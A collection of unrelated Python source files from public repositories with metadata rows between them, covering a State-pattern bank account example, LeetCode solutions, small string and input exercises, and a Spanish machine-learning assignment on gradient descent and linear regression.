else:
left += 1
else: #此时右侧有序
if nums[mid + 1] <= target <= nums[right]:
left = mid + 1
else:
right = mid
return left if nums[left] == target else -1
|
1749024340ee277010fde341ea67f7cc5a41a3fc | r-azh/TestProject | /TestPython/design_patterns/behavioral/state/dofactory/state.py | 5,063 | 3.6875 | 4 | __author__ = 'R.Azh'
# Allow an object to alter its behavior when its internal state changes. The object will appear to change its class.
# State: defines an interface for encapsulating the behavior associated with a particular state of the Context.
class State:
_account = None
_balance = None
_interest = None
_lower_limit = None
_upper_limit = None
@property
def account(self):
return self._account
@account.setter
def account(self, value):
self._account = value
@property
def balance(self):
return self._balance
@balance.setter
def balance(self, value):
self._balance = value
def deposit(self, amount):
raise NotImplementedError
def withdraw(self, amount):
raise NotImplementedError
def pay_interest(self):
raise NotImplementedError
# Concrete State: each subclass implements a behavior associated with a state of Context
# Red indicates that account is overdrawn
class RedState(State):
_service_fee = None
def __init__(self, state):
self.balance = state.balance
self.account = state.account
self._initialize()
def _initialize(self):
self._interest = 0.0
self._lower_limit = -100.0
self._upper_limit = 0.0
self._service_fee = 15.00
def deposit(self, amount):
self.balance += amount
self.state_change_check()
def withdraw(self, amount):
self.balance -= self._service_fee
print("No funds available for withdrawal!")
def pay_interest(self):
pass
def state_change_check(self):
if self.balance > self._upper_limit:
self.account.state = SilverState(self)
# Silver indicates a non-interest bearing state
class SilverState(object):
def __init__(self, balance, account):
self.balance = balance
self.account = account
self._initialize()
@classmethod # another constructor with different arguments(standard way: using classmethod)
def from_state(cls, state):
return cls.__init__(state.balance, state.account)
def _initialize(self):
self._interest = 0.0
self._lower_limit = 0.0
self._upper_limit = 1000.0
def deposit(self, amount):
self.balance += amount
self.state_change_check()
def withdraw(self, amount):
self.balance -= amount
self.state_change_check()
def pay_interest(self):
self.balance += self._interest * self.balance
self.state_change_check()
def state_change_check(self):
if self.balance < 0.0:
self.account.state = RedState(self)
elif self.balance < self._lower_limit:
self.account.state = SilverState(self)
# Gold indicates an interest bearing state
class GoldState(object):
def __init__(self, state):
self.balance = state.balance
self.account = state.account
self._initialize()
def _initialize(self):
self._interest = 0.05
self._lower_limit = 1000.0
self._upper_limit = 10000000.0
def deposit(self, amount):
self.balance += amount
self.state_change_check()
def withdraw(self, amount):
self.balance -= amount
self.state_change_check()
def pay_interest(self):
self.balance += self._interest * self.balance
self.state_change_check()
def state_change_check(self):
if self.balance < self._lower_limit:
self.account.state = RedState(self)
elif self.balance > self._upper_limit:
self.account.state = GoldState(self)
# Context: defines the interface of interest to clients.
# maintains an instance of a ConcreteState subclass that defines the current state.
class Account:
_state = None
_owner = None
def __init__(self, owner):
self._owner = owner
self._state = SilverState(0.0, self)
@property
def balance(self):
return self._state.balance
@property
def state(self):
return self._state
@state.setter
def state(self, value):
self._state = value
def deposit(self, amount):
self._state.deposit(amount)
print("Deposited {} ---".format(amount))
print(" Balance = {}".format(self.balance))
print(" Status = {}".format(type(self.state).__name__))
print("")
def withdraw(self, amount):
self._state.withdraw(amount)
print("Withdrew {} ---".format(amount))
print(" Balance = {}".format(self.balance))
print(" Status = {}".format(type(self.state).__name__))
def pay_interest(self):
self._state.pay_interest()
print("Interest Paid --- ")
print(" Balance = {}".format(self.balance))
print(" Status = {}".format(type(self.state).__name__))
# usage
account = Account("Jim Johnson")
account.deposit(500.0)
account.deposit(300.0)
account.deposit(550.0)
account.pay_interest()
account.withdraw(2000.0)
account.withdraw(1100.00) |
58953c5910dee224e691f3be8b79716d30d77171 | liuweilin17/algorithm | /leetcode/671.py | 1,631 | 3.734375 | 4 | ###########################################
# Let's Have Some Fun
# File Name: 671.py
# Author: Weilin Liu
# Mail: liuweilin17@qq.com
# Created Time: Thu Jan 17 20:42:20 2019
###########################################
#coding=utf-8
#!/usr/bin/python
# 671. Second Minimum Node In a Binary Tree
# Definition for a binary tree node.
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
# brutal method
def findSecondMinimumValue1(self, root):
"""
:type root: TreeNode
:rtype: int
"""
def dfs(nd):
if nd:
s.add(nd.val)
dfs(nd.left)
dfs(nd.right)
s = set()
dfs(root)
ret = float('inf')
for v in s:
if v > root.val and v < ret:
ret = v
if ret < float('inf'):
return ret
else:
return -1
# when nd.val > root.val, we need not to check the subtree of nd
def findSecondMinimumValue2(self, root):
"""
:type root: TreeNode
:rtype: int
"""
self.ret = float('inf') # use self, otherwise in dfs() ret is considered to be a new inner variable
def dfs(nd):
if nd:
if nd.val > root.val and nd.val < self.ret:
self.ret = nd.val
elif nd.val == root.val:
dfs(nd.left)
dfs(nd.right)
dfs(root)
if self.ret < float('inf'):
return self.ret
else:
return -1
|
8cc083cfc3622f478327771f0101e07ecb98927e | HeedishMunsaram/TOPIC_6 | /basic form.py | 211 | 4.0625 | 4 | name = input("Enter name: ")
age = input("Enter a proper age: ")
if age > str(50):
print(name + " - You are", age, "years old.")
else:
print(name + " - You are", age, "years old and still young!") |
7474ffe2664a559bfa50636268cdf18929616cf1 | maralla/geomet | /geomet/util.py | 1,103 | 4.21875 | 4 | def block_splitter(data, block_size):
"""
Creates a generator by slicing ``data`` into chunks of ``block_size``.
>>> data = range(10)
>>> list(block_splitter(data, 2))
[[0, 1], [2, 3], [4, 5], [6, 7], [8, 9]]
If ``data`` cannot be evenly divided by ``block_size``, the last block will
simply be the remainder of the data. Example:
>>> data = range(10)
>>> list(block_splitter(data, 3))
[[0, 1, 2], [3, 4, 5], [6, 7, 8], [9]]
If the ``block_size`` is greater than the total length of ``data``, a
single block will be generated:
>>> data = range(3)
>>> list(block_splitter(data, 4))
[[0, 1, 2]]
:param data:
Any iterable. If ``data`` is a generator, it will be exhausted,
obviously.
:param int block_site:
Desired (maximum) block size.
"""
buf = []
for i, datum in enumerate(data):
buf.append(datum)
if len(buf) == block_size:
yield buf
buf = []
# If there's anything leftover (a partial block),
# yield it as well.
if buf:
yield buf
|
844b5c02f027091294329f947743dcf421893fbb | ILikePythonAndDjango/python_basic | /python_work/name.py | 246 | 3.703125 | 4 | '''
name = "ada lavelace"
print(name.title())
print(name.upper())
print(name.lower())
'''
''' Конкатенация '''
first_name = "ada"
last_name = "lovelace"
full_name = first_name + " " + last_name
print("Hello, " + full_name.title() + "!")
|
402ba6c1512df6df2d4ab2d0cfaf942ab24add02 | angelcabeza/AprendizajeAutomatico | /P1/practica1.py | 26,940 | 3.578125 | 4 | # -*- coding: utf-8 -*-
"""
TRABAJO 1.
Nombre Estudiante: Ángel Cabeza Martín
"""
import numpy as np
from sklearn import utils
import matplotlib.pyplot as plt
np.random.seed(1)
print('EJERCICIO SOBRE LA BUSQUEDA ITERATIVA DE OPTIMOS\n')
print('Ejercicio 1\n')
#Derivada parcial de E con respecto a u
def E(u,v):
if not (apartado3):
return (u**3*np.e**(v-2)-2*v**2*np.e**-u)**2
elif (apartado3):
return (u + 2)**2 + 2*(v - 2)**2 + (2*np.sin(2*np.pi*u)*np.sin(2*np.pi*v))
#Derivada parcial de E con respecto a u (o x)
def dEu(u,v):
if not (apartado3):
return 2*(u**3*np.e**(v-2)-2*v**2*np.e**-u)*(3*u**2*np.e**(v-2)+2*v**2*np.e**-u)
elif (apartado3):
return 2*(u + 2) + 4*np.pi*np.cos(2*np.pi*u)*np.sin(2*np.pi*v)
#Derivada parcial de E con respecto a v (o y)
def dEv(u,v):
if not (apartado3):
return 2*(u**3*np.e**(v-2)-2*v**2*np.e**-u)*(u**3*np.e**(v-2)-4*v*np.e**-u)
elif (apartado3):
return 4*(v - 2) + 4*np.pi*np.sin(2*np.pi*u)*np.cos(2*np.pi*v)
#Gradiente de E
def gradE(u,v):
return np.array([dEu(u,v), dEv(u,v)])
def gradient_descent(initial_point,learning_rate,error2get,tope):
#
# gradiente descendente
#
iterations = 0
w = initial_point
while ( ( (E(w[0],w[1])) > error2get ) and (iterations < tope) ):
w = w - learning_rate * gradE(w[0],w[1])
if (apartado3):
puntos_grafica.append(E(w[0],w[1]))
iteraciones.append(iterations)
iterations = iterations + 1
return w, iterations
learning_rate = 0.1
# Tope muy grande porque queremos que se pare cuando llegue a un error específico
maxIter = 10000000000
error2get = 1e-14
initial_point = np.array([1.0,1.0])
# Este booleano nos servirá para saber qué función estamos usando
apartado3 = False
# Llamamos al algoritmo del gradiente descendiente con los siguientes argumentos
# initial_point -> Punto inicial desde el cual comenzaremos la búsqueda
# learning_rate -> Variable que indica el cambio entre iteración e iteración
# error2get -> Una de las opciones de parada del algoritmo
# maxIter -> Otra de las opciones de parada del algoritmo
w, it = gradient_descent(initial_point,learning_rate,error2get,maxIter)
print ( '¿Cuántas iteraciones tarda el algoritmo en obtener por primera vez un valor deE(u,v)inferior a 10−14? ', it)
print (' \n¿En qué coordenadas(u,v) se alcanzó por primera vez un valor igual o menor a 10−14\n (', w[0], ', ', w[1],')')
print ( 'El valor de la función en ese punto es: ', E(w[0],w[1]))
# DISPLAY FIGURE
from mpl_toolkits.mplot3d import Axes3D
x = np.linspace(-30, 30, 50)
y = np.linspace(-30, 30, 50)
X, Y = np.meshgrid(x, y)
Z = E(X, Y) #E_w([X, Y])
fig = plt.figure()
ax = Axes3D(fig)
surf = ax.plot_surface(X, Y, Z, edgecolor='none', rstride=1,
cstride=1, cmap='jet')
min_point = np.array([w[0],w[1]])
min_point_ = min_point[:, np.newaxis]
ax.plot(min_point_[0], min_point_[1], E(min_point_[0], min_point_[1]), 'r*', markersize=10)
ax.set(title='Ejercicio 1.2. Función sobre la que se calcula el descenso de gradiente')
ax.set_xlabel('u')
ax.set_ylabel('v')
ax.set_zlabel('E(u,v)')
plt.show()
input("\n--- Pulsar tecla para continuar ---\n")
#Seguir haciendo el ejercicio...
print( 'Ahora vamos a trabajar con la función f(x,y) = (x+ 2)2+ 2(y−2)2+ 2sin(2πx)sin(2πy)\n')
# En este bloque de instrucciones, ponemos el bool de apartado3 a truee porque vamos a
# usar otra función, y tocamos los parámetros como se nos indican además pongo un error
# muy muy bajo para que eel algoritmo se pare cuando llegue a 50 iteraciones en vez
# de por el error. Además creo dos listas que almacenarán los valores de la gráfica
# en los distintos puntos que va encontrando el algoritmo y otra lista que almacenará
# el número de iteraciones
apartado3 = True
learning_rate = 0.01
maxIter = 50
error2get = -999999
initial_point = np.array([-1.0,1.0])
puntos_grafica = []
iteraciones = []
w, it = gradient_descent(initial_point,learning_rate,error2get,maxIter)
print ( '\nEncontrado el mínimo en las coordenadas: (', w[0], ', ', w[1],')')
# Estas instrucciones son una manera de pasar de lista de python a array de numpy
puntos_funcion = np.array(puntos_grafica)
iterac = np.array(iteraciones)
# Instrucciones para pintar una gráfica 2D. El eje X corresponde a las iteraciones
# del algoritmo y el eje Y a los valores que va tomando en cada iteración
plt.plot(iterac,puntos_funcion)
plt.xlabel('Iteraciones')
plt.ylabel('Valor de la función')
plt.title('Gráfica que relaciona iteraciones y valor de la función (eta = 0.01)')
plt.show()
input("\n--- Pulsar tecla para continuar ---\n")
# Ahora repetimos el mismo experimento cambiando el learning rate, las instrucciones
# son análogas al bloque de código anterior
print('Vamos a repetir el experimento pero con una tasa de aprendizaje de 0.1')
learning_rate = 0.1
puntos_grafica = []
iteraciones = []
w , it = gradient_descent(initial_point,learning_rate,error2get,maxIter)
puntos_funcion = np.array(puntos_grafica)
iterac = np.array(iteraciones)
plt.plot(iterac,puntos_funcion)
plt.xlabel('Iteraciones')
plt.ylabel('Valor de la función')
plt.title('Gráfica que relaciona iteraciones y valor de la función (eta = 0.1) ')
plt.show()
input("\n--- Pulsar tecla para continuar ---\n")
# En este bloque de código vamos a asignar un learning_rate de 0.01 (en el apartado
# anterior hemos visto que es un learning_rate muy bueno para esta función) y un
# máximo de iteraciones 50 para distintos puntos iniciales y vamos a comprobar
# a qué mínimo llegan en estas iteraciones.
print ('Vamos a aplicar el algoritmo del gradiente con distintos puntos iniciales\n')
initial_point = np.array([-0.5,-0.5])
learning_rate = 0.01
w,it = gradient_descent(initial_point,learning_rate,error2get,maxIter)
print("Con [-0.5,-0.5] de punto inicial obtenemos el siguiente minimo: ", E(w[0],w[1]))
print("Con las siguientes coordenadas: ",w,"\n")
initial_point = np.array([1,1])
w,it = gradient_descent(initial_point,learning_rate,error2get,maxIter)
print("Con [1,1] de punto inicial obtenemos el siguiente minimo: ", E(w[0],w[1]))
print("Con las siguientes coordenadas: ",w,"\n")
initial_point = np.array([2.1,-2.1])
w,it = gradient_descent(initial_point,learning_rate,error2get,maxIter)
print("Con [2.1,-2.1] de punto inicial obtenemos el siguiente minimo: ", E(w[0],w[1]))
print("Con las siguientes coordenadas: ",w,"\n")
initial_point = np.array([-3,3])
w,it = gradient_descent(initial_point,learning_rate,error2get,maxIter)
print("Con [-3,3] de punto inicial obtenemos el siguiente minimo: ", E(w[0],w[1]))
print("Con las siguientes coordenadas: ",w,"\n")
initial_point = np.array([-2,2])
w,it = gradient_descent(initial_point,learning_rate,error2get,maxIter)
print("Con [-2,2] de punto inicial obtenemos el siguiente minimo: ", E(w[0],w[1]))
print("Con las siguientes coordenadas: ",w,"\n")
input("\n--- Pulsar tecla para continuar ---\n")
###############################################################################
###############################################################################
###############################################################################
###############################################################################
print('EJERCICIO SOBRE REGRESION LINEAL\n')
print('Ejercicio 1\n')
label5 = 1
label1 = -1
# Funcion para leer los datos
def readData(file_x, file_y):
# Leemos los ficheros
datax = np.load(file_x)
datay = np.load(file_y)
y = []
x = []
# Solo guardamos los datos cuya clase sea la 1 o la 5
for i in range(0,datay.size):
if datay[i] == 5 or datay[i] == 1:
if datay[i] == 5:
y.append(label5)
else:
y.append(label1)
x.append(np.array([1, datax[i][0], datax[i][1]]))
x = np.array(x, np.float64)
y = np.array(y, np.float64)
return x, y
# Funcion para calcular el error
def Err(x,y,w):
# He calculado el error según la fórmula dada en teoría (diapositiva 6)
# Ein(w) = 1/N + SUM(wT*x - y)²
#
err = np.square(x.dot(w.T) - y)
return err.mean()
def dErr(x,y,w):
h_x = x.dot(w.T)
dErr = h_x - y.T
dErr = x.T.dot(dErr)
dErr = (2 / x.shape[0]) * dErr
return dErr.T
# Gradiente Descendente Estocastico
def sgd(x,y,learning_rate,num_batch,maxIter):
# el tamaño de w será dependiendo del numero de columnas de x
# shape[1] == columnas
# shape[0] == filas
w = np.zeros(x.shape[1])
iterations = 1
# en este caso solo tenemos de condicion las iteraciones
while (iterations < maxIter ) :
# Mezclamos x e y. Esta función solo cambia el orden de la matriz
# el contenido no lo mezcla, es decir, si la columna 4 contiene los
# valores 5 y 3, ahora puede que sea la columna 15 pero seguirá conteniendo
# los mismos valores. Además lo hace en relación y para que aunque esté
# todo mezclado a cada punto le siga correspondiendo su etiqueta
utils.shuffle(x,y,random_state=1)
# En este bucle vamos a crear tantos minibatchs como le hemos indicado
# y vamos a aplicar la ecuación general para cada minibatch
for i in range(0,num_batch):
# Cogemos de x e y las filas que van desde i * tam_batch hasta i*tam_batch+tam_batch
# p.ej si tam_batch = 64 cogeremos las filas 0-64, luego 64,128 y así
minibatch_x = x[i*tam_batch:i*tam_batch+tam_batch]
minibatch_y = y[i*tam_batch:i*tam_batch+tam_batch]
w = w - learning_rate*dErr(minibatch_x,minibatch_y,w)
iterations = iterations + 1
return w
# Pseudoinversa
def pseudoinverse(x,y):
# Calculamos las traspuestas de X e Y
x_traspuesta = x.T
y_traspuesta = y.T
# Instrucciones para calcular la pseudoinversa de X
x_pseudoinversa = x_traspuesta.dot(x)
x_pseudoinversa = np.linalg.inv(x_pseudoinversa)
x_pseudoinversa = x_pseudoinversa.dot(x_traspuesta)
# Devolvemos el resultado de multiplicar la pseudoinversa de X por Y
w = x_pseudoinversa.dot(y_traspuesta)
return w
# Lectura de los datos de entrenamiento
x, y = readData('datos/X_train.npy', 'datos/y_train.npy')
# Lectura de los datos para el test
x_test, y_test = readData('datos/X_test.npy', 'datos/y_test.npy')
# Inicializamos los parámetros para el SGD
learning_rate = 0.01
tam_batch = 64
maxIter = 400
num_batch = int(len(x)/tam_batch)
x_aux = x.copy()
y_aux = y.copy()
w_sgd = sgd(x_aux,y_aux,learning_rate,num_batch,maxIter)
print ('Bondad del resultado para grad. descendente estocastico:\n')
print("w: ",w_sgd)
print ("Ein: ", Err(x,y,w_sgd))
print ("Eout: ", Err(x_test, y_test, w_sgd))
# Separando etiquetas para poder escribir leyenda en el plot
etiq1 = []
etiq5 = []
for i in range(0,len(y)):
if y[i] == 1:
etiq5.append(x[i])
else:
etiq1.append(x[i])
etiq5 = np.array(etiq5)
etiq1 = np.array(etiq1)
# Plot de la separación de datos SGD
plt.scatter(etiq5[:,1],etiq5[:,2],c='red',label="5")
plt.scatter(etiq1[:,1],etiq1[:,2],c='blue',label="1")
plt.plot([0, 1], [-w_sgd[0]/w_sgd[2], (-w_sgd[0] - w_sgd[1])/w_sgd[2]],label="SGD")
plt.xlabel('Intensidad Promedio')
plt.ylabel('Simetria')
plt.legend()
plt.title('Modelo de regresión lineal obtenido con el SGD learning_rate = 0.01, 500 iteraciones')
plt.show()
input("\n--- Pulsar tecla para continuar ---\n")
# BLoque de código para mostrar el modelo generado por la PSEUDOINVERSA
w_pseu = pseudoinverse(x,y)
print ('Bondad del resultado para alg pseudoinversa:\n')
print ("Ein: ", Err(x,y,w_pseu))
print ("Eout: ", Err(x_test, y_test, w_pseu))
# Plot de la separación de datos PSEUDOINVERSA
plt.scatter(etiq5[:,1],etiq5[:,2],c='red',label="5")
plt.scatter(etiq1[:,1],etiq1[:,2],c='blue',label="1")
plt.plot([0, 1], [-w_pseu[0]/w_pseu[2], (-w_pseu[0] - w_pseu[1])/w_pseu[2]],label="Pseudoinversa")
plt.xlabel('Intensidad Promedio')
plt.ylabel('Simetria')
plt.legend()
plt.title('Modelo de regresión lineal obtenido con la pseudoinversa')
plt.show()
input("\n--- Pulsar tecla para continuar ---\n")
print("\nAhora vamos a ver gráficamente como se ajustan los alg fuera de la muestra")
# Separando etiquetas para poder escribir leyenda en el plot
etiq1 = []
etiq5 = []
for i in range(0,len(y_test)):
if y_test[i] == 1:
etiq5.append(x_test[i])
else:
etiq1.append(x_test[i])
etiq5 = np.array(etiq5)
etiq1 = np.array(etiq1)
# Plot de la separación de datos SGD
plt.scatter(etiq5[:,1],etiq5[:,2],c='red',label="5")
plt.scatter(etiq1[:,1],etiq1[:,2],c='blue',label="1")
plt.plot([0, 1], [-w_sgd[0]/w_sgd[2], (-w_sgd[0] - w_sgd[1])/w_sgd[2]],label="SGD")
plt.xlabel('Intensidad Promedio')
plt.ylabel('Simetria')
plt.legend()
plt.title('Modelo de regresión lineal fuera de la muestra obtenido con el SGD learning_rate = 0.01, 500 iteraciones')
plt.show()
input("\n--- Pulsar tecla para continuar ---\n")
plt.scatter(etiq5[:,1],etiq5[:,2],c='red',label="5")
plt.scatter(etiq1[:,1],etiq1[:,2],c='blue',label="1")
plt.plot([0, 1], [-w_pseu[0]/w_pseu[2], (-w_pseu[0] - w_pseu[1])/w_pseu[2]],label="Pseudoinversa")
plt.xlabel('Intensidad Promedio')
plt.ylabel('Simetria')
plt.legend()
plt.title('Modelo de regresión lineal fuera de la muestra obtenido con la pseudoinversa')
plt.show()
input("\n--- Pulsar tecla para continuar ---\n")
##############################################################################
#
# EJERCICIO 2
#
##############################################################################
print('Ejercicio 2\n')
# Simula datos en un cuadrado [-size,size]x[-size,size]
def simula_unif(N, d, size):
return np.random.uniform(-size,size,(N,d))
# Devuelve un 1 si el signo es positivo y -1 si es negativo
def sign(x):
if x >= 0:
return 1
return -1
def f(x1, x2):
return sign(np.square(x1-0.2) + np.square(x2) - 0.6)
# Función que genera índices aleatorios y al número con ese índice le cambia el signo
def ruido(etiquetas,porcentaje):
num_etiquetas = len(etiquetas)
etiquetas_a_cambiar = num_etiquetas * porcentaje
etiquetas_a_cambiar = int(round(etiquetas_a_cambiar))
for i in range (etiquetas_a_cambiar):
indice = np.random.randint(0,1000)
etiquetas[indice] = -etiquetas[indice]
return etiquetas
# BLOQUE DE CÓDIGO PARA CALCULAR LOS PUNTOS SIN RUIDO Y SIN ETIQUETAS
print("Voy a generar un muestra de entrenamiento de 1000 puntos")
puntos_cuadrado = simula_unif(1000,2,1)
plt.scatter(puntos_cuadrado[:,0], puntos_cuadrado[:,1], c='b')
plt.title("Muestra de entrenamiento en el cuadrado [-1,1] x [-1,1]")
plt.xlabel('Valor de x1')
plt.ylabel('Valor de x2')
plt.show()
input("\n--- Pulsar tecla para continuar ---\n")
# BLOQUE DE CÓDIGO PARA DEFINIR LAS ETIQUETAS DE LOS PUNTOS
print("Ahora vamos a definir las etiquetas de la muestra")
etiqueta = []
for i in range(len(puntos_cuadrado)):
etiqueta.append(f(puntos_cuadrado[i][0],puntos_cuadrado[i][1]))
etiquetas = np.array(etiqueta)
etiqueta_pos = []
etiqueta_neg = []
for i in range(len(etiquetas)):
if (etiquetas[i] >= 0):
etiqueta_pos.append(puntos_cuadrado[i])
else:
etiqueta_neg.append(puntos_cuadrado[i])
etiquetas_pos = np.array(etiqueta_pos)
etiquetas_neg = np.array(etiqueta_neg)
plt.scatter(etiquetas_pos[:,0],etiquetas_pos[:,1], c='yellow',label="f(x) >= 0")
plt.scatter(etiquetas_neg[:,0],etiquetas_neg[:,1], c='purple',label="f(x) < 0")
plt.title("Muestra de entrenamiento en el cuadrado [-1,1] x [-1,1], con las etiquetas sin ruido")
plt.xlabel('Valor de x1')
plt.ylabel('Valor de x2')
plt.legend()
plt.show()
input("\n--- Pulsar tecla para continuar ---\n")
# BLOQUE DE CÓDIGO EN EL QUE AÑADIMOS RUIDDO A LAS ETIQUETAS
print("A continuación introduciremos ruido sobre las etiquetas")
etiquetas = ruido(etiquetas,0.1)
etiqueta_pos = []
etiqueta_neg = []
for i in range(len(etiquetas)):
if (etiquetas[i] >= 0):
etiqueta_pos.append(puntos_cuadrado[i])
else:
etiqueta_neg.append(puntos_cuadrado[i])
etiquetas_pos = np.array(etiqueta_pos)
etiquetas_neg = np.array(etiqueta_neg)
plt.scatter(etiquetas_pos[:,0],etiquetas_pos[:,1], c='yellow',label="f(x) >= 0")
plt.scatter(etiquetas_neg[:,0],etiquetas_neg[:,1], c='purple',label="f(x) < 0")
plt.title("Muestra de entrenamiento en el cuadrado [-1,1] x [-1,1], con las etiquetas con ruido")
plt.xlabel('Valor de x1')
plt.ylabel('Valor de x2')
plt.legend()
plt.show()
input("\n--- Pulsar tecla para continuar ---\n")
#BLOQUE DE CÓDIGO PARA CALCULAR EL MODELO DE REGRESIÓN LINEAL DE LA MUESTRA
# EN ESTE BLOQUE HAY INSTRUCCIONES DIFICILES
print ("Finalmente vamos a calcular un modelo de regresión lineal con esta muestra")
caracteristicas = np.ones(puntos_cuadrado.shape[0])
# https://numpy.org/doc/stable/reference/generated/numpy.c_.html
# Esta función concatena los vectores por índices es decir características[i]
# lo concatena con puntos_cuadrado[i]
# los argumentos que se le pasa a esta función son los dos vectores que quieres
# concatenar
caracteristicas = np.c_[caracteristicas,puntos_cuadrado]
# Aquí mostramos las 10 primerass filas del vector de características
print("\nPrueba para ver si las características están construidas correctamente")
print(caracteristicas[: 10])
## Bloque de código que llama al algoritmo de SGD y pinta el resultado
x = caracteristicas.copy()
y = etiquetas.copy()
num_batch = int(len(puntos_cuadrado)/tam_batch)
w = sgd(x,y,learning_rate,num_batch,maxIter)
print("\nW encontrada SGD = ", w)
print ('Bondad del resultado:\n')
print ("Ein: ", Err(caracteristicas,etiquetas,w))
plt.scatter(etiquetas_pos[:,0],etiquetas_pos[:,1], c='yellow',label="f(x) >= 0")
plt.scatter(etiquetas_neg[:,0],etiquetas_neg[:,1], c='purple',label="f(x) < 0")
plt.plot([-1, 1], [-w[0]/w[2], (-w[0] - w[1])/w[2]],label="SGD")
plt.title("Modelo de regresion lineal obtenido para la muestra de entrenamiento anterior")
plt.xlabel('Valor de x1')
plt.ylabel('Valor de x2')
plt.ylim(bottom = -1.1, top = 1.1)
plt.legend(loc="upper right")
plt.show()
input("\n--- Pulsar tecla para continuar ---\n")
print("Ahora vamos a repetir el proceso anterior 1000 veces pero con muestras distintas\n")
print("Paciencia esto puede tardar unos minutos...\n")
contador = 0
Ein = 0
Eout = 0
while(contador < 1000):
contador += 1
# Generamos la muestra de entrenamiento
x = simula_unif(1000, 2, 1)
#Generamos las etiquetas para la muestra de entrenamiento
etiqueta = []
for i in range(len(x)):
etiqueta.append(f(x[i][0],x[i][1]))
etiquetas = np.array(etiqueta)
# Añadimos ruido
y = ruido(etiquetas,0.1)
#Creamos el vector de caracteristicas
caracteristicas = np.ones(x.shape[0])
caracteristicas = np.c_[caracteristicas,x]
x_aux = caracteristicas.copy()
y_aux = y.copy()
num_batch = int(len(x)/tam_batch)
w = sgd(x_aux,y_aux,learning_rate,num_batch,maxIter)
#Variablee donde vamos a ir acumulando el error dentro de la muestra para calcular la media
Ein += Err(caracteristicas,y,w)
# Repetimos lo mismo para sacar Eout y evaluamos
x_out = simula_unif(1000, 2, 1)
#Generamos las etiquetas
etiqueta = []
for i in range(len(puntos_cuadrado)):
etiqueta.append(f(x_out[i][0],x_out[i][1]))
etiquetas = np.array(etiqueta)
y_out = ruido(etiquetas,0.1)
#Creamos el vector de caracteristicas
caracteristicas_out = np.ones(x_out.shape[0])
caracteristicas_out = np.c_[caracteristicas_out,x_out]
Eout += Err(caracteristicas_out,y_out,w)
print("Valor medio Ein: ",Ein/1000)
print("\nValor medio de Eout: ", Eout/1000)
input("\n--- Pulsar tecla para continuar ---\n")
#COMIENZA EL SEGUNDO PUNTO DEL EJERCICOI 2
#Bloque de código para generar los puntos de la muestra de entrenamiento y pintar la gráfica
print("Vamos a repetir el experimento anterior pero con características no lineales")
x = simula_unif(1000, 2, 1)
plt.scatter(x[:,0], x[:,1], c='b')
plt.title("Muestra de entrenamiento en el cuadrado [-1,1] x [-1,1]")
plt.xlabel('Valor de x1')
plt.ylabel('Valor de x2')
plt.show()
input("\n--- Pulsar tecla para continuar ---\n")
# Bloque de código para generar sus etiquetas y pintar la gráfica
print("Ahora vamos a definir las etiquetas de la muestra")
etiqueta = []
for i in range(len(puntos_cuadrado)):
etiqueta.append(f(x[i][0],x[i][1]))
etiquetas = np.array(etiqueta)
etiqueta_pos = []
etiqueta_neg = []
for i in range(len(etiquetas)):
if (etiquetas[i] >= 0):
etiqueta_pos.append(x[i])
else:
etiqueta_neg.append(x[i])
etiquetas_pos = np.array(etiqueta_pos)
etiquetas_neg = np.array(etiqueta_neg)
plt.scatter(etiquetas_pos[:,0],etiquetas_pos[:,1], c='yellow',label="f(x) >= 0")
plt.scatter(etiquetas_neg[:,0],etiquetas_neg[:,1], c='purple',label="f(x) < 0")
plt.title("Muestra de entrenamiento en el cuadrado [-1,1] x [-1,1], con las etiquetas sin ruido")
plt.xlabel('Valor de x1')
plt.ylabel('Valor de x2')
plt.legend()
plt.show()
input("\n--- Pulsar tecla para continuar ---\n")
#Bloque de código para añadir ruido a las etiquetas y pintar de nuevo la gráfica
print("A continuación introduciremos ruido sobre las etiquetas")
etiquetas = ruido(etiquetas,0.1)
etiqueta_pos = []
etiqueta_neg = []
for i in range(len(etiquetas)):
if (etiquetas[i] >= 0):
etiqueta_pos.append(x[i])
else:
etiqueta_neg.append(x[i])
etiquetas_pos = np.array(etiqueta_pos)
etiquetas_neg = np.array(etiqueta_neg)
plt.scatter(etiquetas_pos[:,0],etiquetas_pos[:,1], c='yellow',label="f(x) >= 0")
plt.scatter(etiquetas_neg[:,0],etiquetas_neg[:,1], c='purple',label="f(x) < 0")
plt.title("Muestra de entrenamiento en el cuadrado [-1,1] x [-1,1], con las etiquetas con ruido")
plt.xlabel('Valor de x1')
plt.ylabel('Valor de x2')
plt.legend()
plt.show()
input("\n--- Pulsar tecla para continuar ---\n")
# Bloque de código para llamar al algoritmo y pintar la elipse
print ("Finalmente vamos a calcular un modelo de regresión con esta muestra")
caracteristicas = np.ones(x.shape[0])
# https://numpy.org/doc/stable/reference/generated/numpy.c_.html
caracteristicas = np.c_[caracteristicas,x[:, 0], x[:, 1],x[:, 0]*x[:, 1], np.square(x[:, 0]), np.square(x[:, 1])]
print("\nPrueba para ver si las características están construidas correctamente")
print(caracteristicas[: 10])
x_aux = caracteristicas.copy()
y_aux = etiquetas.copy()
num_batch = int(len(x)/tam_batch)
w = sgd(x_aux,y_aux,learning_rate,num_batch,maxIter)
print("\nW encontrada = ", w)
print ('Bondad del resultado:\n')
print ("Ein: ", Err(caracteristicas,etiquetas,w))
plt.scatter(etiquetas_pos[:,0],etiquetas_pos[:,1], c='yellow',label="f(x) >= 0")
plt.scatter(etiquetas_neg[:,0],etiquetas_neg[:,1], c='purple',label="f(x) < 0")
# PARA PINTAR LA ELIPSE HE CREADO PUNTOS DESDE -1 A 1 de 0.025 EN 0.025 Y HE IDO SUSTITUYENDO
# EN LA FUNCIÓN DE UNA ELIPSE PARA DIBUJARLA CON CONTOUR
x_range = np.arange(-1,1,0.025)
y_range = np.arange(-1,1,0.025)
valor_x, valor_y = np.meshgrid(x_range,y_range)
func = w[0] + valor_x*w[1] + valor_y*w[2] + valor_x*valor_y*w[3] + ((valor_x)**2)*w[4] + ((valor_y)**2)*w[5]
#https://matplotlib.org/stable/api/_as_gen/matplotlib.pyplot.contour.html
# Los dos primeros argumentos (X,Y) son los vectores con los valores de los puntos
# el tercer argumento (Z) es la funcion que evalua los puntos
# y el cuarto argumento es el nivel del contorno (en este caso el nivel 0)
# si le indicaramos por ejemplo un array [0,1] dibujaría dos contornos con los
# mismos puntos solo que uno más grande que otro
plt.contour(valor_x,valor_y,func,0)
plt.title("Modelo de regresion lineal obtenido para la muestra de entrenamiento anterior")
plt.xlabel('Valor de x1')
plt.ylabel('Valor de x2')
plt.ylim(bottom = -1.1, top = 1.1)
